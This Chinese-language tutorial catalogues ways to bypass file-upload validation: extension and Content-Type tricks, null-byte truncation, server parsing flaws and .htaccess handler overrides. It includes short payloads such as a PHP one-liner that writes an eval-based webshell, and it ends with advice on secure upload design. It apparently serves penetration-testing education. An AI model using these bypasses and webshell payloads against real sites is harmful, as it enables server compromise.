再上传文件时有多种校验方式,总体分为客户端和服务端校验,其中还细化为很多校验方式,检验文件后缀,大小等。
客户端校验:顾名思义就是在在用户浏览器上用一段javascript代码进行校验
判断方式:对于要上传的图片,刚加载以后还没点击确认,就提示文件错误而此时并没有发送数据包。
突破方法:
1.直接在浏览器上禁用javascript代码,取消验证。
2.burp截断改包
先将上传的木马后缀改为jpg,通过burpsuit抓取上传的包,再将抓取的包中将jpg改为PHP
服务器端验证
1.content-type字段校验,filetype检验
content-type读取的是上传文件的后缀,抓包修改
将content-type字段改为image/gif进行绕过
2.文件头校验
可以通过自己写正则匹配,判断文件头内容是否符合要求,这里举几个常见的文件头对应关系:
(1) .JPEG;.JPE;.JPG, ”JPGGraphic File”
(2) .gif, ”GIF 89A”
(3) .zip, ”Zip Compressed”
(4) .doc;.xls;.xlt;.ppt;.apr,”MS Compound Document v1 or Lotus Approach APRfile”
文件头绕过
在木马内容基础上再加了一些文件信息,有点像下面的结构
GIF89a<?php phpinfo(); ?>
3.扩展名验证
MIME验证
MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。
它是一个互联网标准,扩展了电子邮件标准,使其能够支持:
非ASCII字符文本;非文本格式附件(二进制、声音、图像等);由多部分(multiple parts)组成的消息体;包含非ASCII字符的头信息(Header information)。
这个标准被定义在RFC 2045、RFC 2046、RFC 2047、RFC 2048、RFC 2049等RFC中。 MIME改善了由RFC 822转变而来的RFC 2822,这些旧标准规定电子邮件标准并不允许在邮件消息中使用7位ASCII字符集以外的字符。正因如此,一些非英语字符消息和二进制文件,图像,声音等非文字消息原本都不能在电子邮件中传输(MIME可以)。MIME规定了用于表示各种各样的数据类型的符号化方法。 此外,在万维网中使用的HTTP协议中也使用了MIME的框架,标准被扩展为互联网媒体类型。
MIME的作用
使客户端软件区分不同种类的数据,例如web浏览器就是通过MIME类型来判断文件是GIF图片,还是可打印的PostScript文件。 Web服务器使用MIME来说明发送数据的种类,Web客户端使用MIME来说明希望接收到的数据种类。
一个普通的文本邮件的信息包含一个头部分(To: From: Subject: 等等)和一个体部分(Hello Mr.,等等)。在一个符合MIME的信息中,也包含一个信息头并不奇怪,邮件的各个部分叫做MIME段,每段前也缀以一个特别的头。MIME邮件只是基于RFC 822邮件的一个扩展,然而它有着自己的RFC规范集。
头字段:MIME头根据在邮件包中的位置,大体上分为MIME信息头和MIME段头。(MIME信息头指整个邮件的头,而MIME段头只每个MIME段的头。)
常见MIME类型
mimntype判断
一般先判断内容的前十个字节,来判断文件类型,然后再判断后缀名。
文件扩展名绕过
前提:黑名单校验
黑名单检测:一般有个专门的 blacklist 文件,里面会包含常见的危险脚本文件。
绕过方法:
(1)找黑名单扩展名的漏网之鱼 - 比如 asa 和 cer 之类
(2)可能存在大小写绕过漏洞 - 比如 aSp 和 pHp 之类
能被解析的文件扩展名列表:
jsp jspx jspf
asp asa cer aspx
4.配合文件包含漏洞
前提:校验规则只校验当文件后缀名为asp/php/jsp的文件内容是否为木马。
绕过方式:(这里拿php为例,此漏洞主要存在于PHP中)
(1)先上传一个内容为木马的txt后缀文件,因为后缀名的关系没有检验内容;
(2)然后再上传一个.php的文件,内容为“上传的txt文件路径”);?>
此时,这个php文件就会去引用txt文件的内容,从而绕过校验,下面列举包含的语法:
(2)linux下后缀名大小写
在linux下,如果上传php不被解析,可以试试上传pHp后缀的文件名。
5.编辑器漏洞
(1)CMS漏洞:比如说JCMS等存在的漏洞,可以针对不同CMS存在的上传漏洞进行绕过。
(2)编辑器漏洞:比如FCK,ewebeditor等,可以针对编辑器的漏洞进行绕过。
这两方面的漏洞以后单独成文汇总,这里点到为止。
配合其他规则
(1)0x00截断:基于一个组合逻辑漏洞造成的,通常存在于构造上传文件路径的时候
test.php(0x00).jpg
test.php%00.jpg
路径/upload/1.php(0x00),文件名1.jpg,结合/upload/1.php(0x00)/1.jpg
6.检测黑名单类型的绕过(服务端)
将危险的后缀名写到一个文件里面,禁止指着后缀名的文件执行
文件名绕过:
大小写组合绕过pHp,PhP,混搭绕过php1,php2,php3,php4,php5
列表名绕过:
cer,ashx,asa,cer,cdx,htr,绕过(黑名单可能会漏掉的)
特殊字符绕过:
a.asp改成a.asp_
0x00截断绕过:
上传1.php.jpg burp抓包改成1.php%00.jpg,或者hex–>20改成00当解析的时候,看到空格,后面的那段就不解析了
或者upload/1.asp(空格)/上传,hex修改20–>00绕过上传
apache解析绕过:
help.asp.134.×2,从前向后尝试解析,直到遇到自己认识的扩展名为止。
双扩展名解析绕过:
apache的conf配置有AddHandler php5-script.php没有注释掉,
则,文件名1.php.jpg就能当作php执行
.htaccess文件攻击:
自定义.htaccess上传,下面是内容
<FileMatch “aaa”>
SetHandler application/x-httpd-php
</FileMatch>
同目录下,上传一个aaa文件,没有扩展名,内容是一句话,这个时候就成功绕过。
7.检测白名单类型的绕过(服务端)
解析漏洞绕过
iis6.0解析绕过:
目录绕过:
IIS6.0目录路径检测解析,文件的名字为“*.asp/xxx.jpg”同样呗解析成asp
burp进行抓包,其中Content-Disposition:form-data;name=”path”我们把原本的 upload/ 改为 uploading/1.asp/,filename=”yijuhua.asp”修改为filename=”yijuhua.asp/1.jpg”。
或者创建文件夹a.php里面放一句话图片1.jpg a.php/1.jpg—>php执行
文件绕过:
首先我们请求 /aaa.php;xxx.jpg,从头部查找查找 “.”号,获得 .php;xxx.jpg
查找”;”,如果有则内容截断,所以/aaa.php;xxx.jpg会当做/aaa.php进行解析,除此之外我们还有下面的构造方式绕过:a.php;.jpg,a.php;jpg–>php执行
iis7.0/7.5解析绕过:
在默认Fast-CGI开启的情况下上传一个文件1.jpg
内容:<?php fputs(fopen(‘shell.php’,’w’),'<?php eval($_POST[cmd])?>’);?>
然后访问1.jpg/.php 这样就会在同级目录下生成木马shell.php
Nginx<8.0.3解析绕过:
上传1.jpg—-burp修改–>1.jpg%00.php空字节绕过上传
apache解析绕过:
a.php.x1.x2 apache从前向后尝试解析,直到遇到自己认识的扩展名为止。
.htaccess文件攻击:自定义.htaccess绕过
<FileMatch “aaa”>
SetHandler application/x-httpd-php
</FileMatch>
同目录下,上传一个aaa文件,没有扩展名,然后内容是“aaa”+一句话,成功绕过。
8.自动修改后缀的绕过:
上传php,服务端自动修改成了gif
burp抓包,1.php–>修改成1.pphphp成功绕过
设计安全的文件上传功能
1、文件上传的目录设置为不可执行
2、判断文件类型:强烈推荐白名单方式。此外,对于图片的处理,可以使用压缩函数或者resize函数,在处理图片的同时破坏图片中可能包含的HTML代码。
3、使用随机数改写文件名和文件路径:一个是上传后无法访问;再来就是像shell.php.rar.rar和crossdomain.xml这种文件,都将因为重命名而无法攻击。
4、单独设置文件服务器的域名:由于浏览器同源策略的关系,一系列客户端攻击将失效,比如上传crossdomain.xml、上传包含Javascript的XSS利用等问题将得到解决。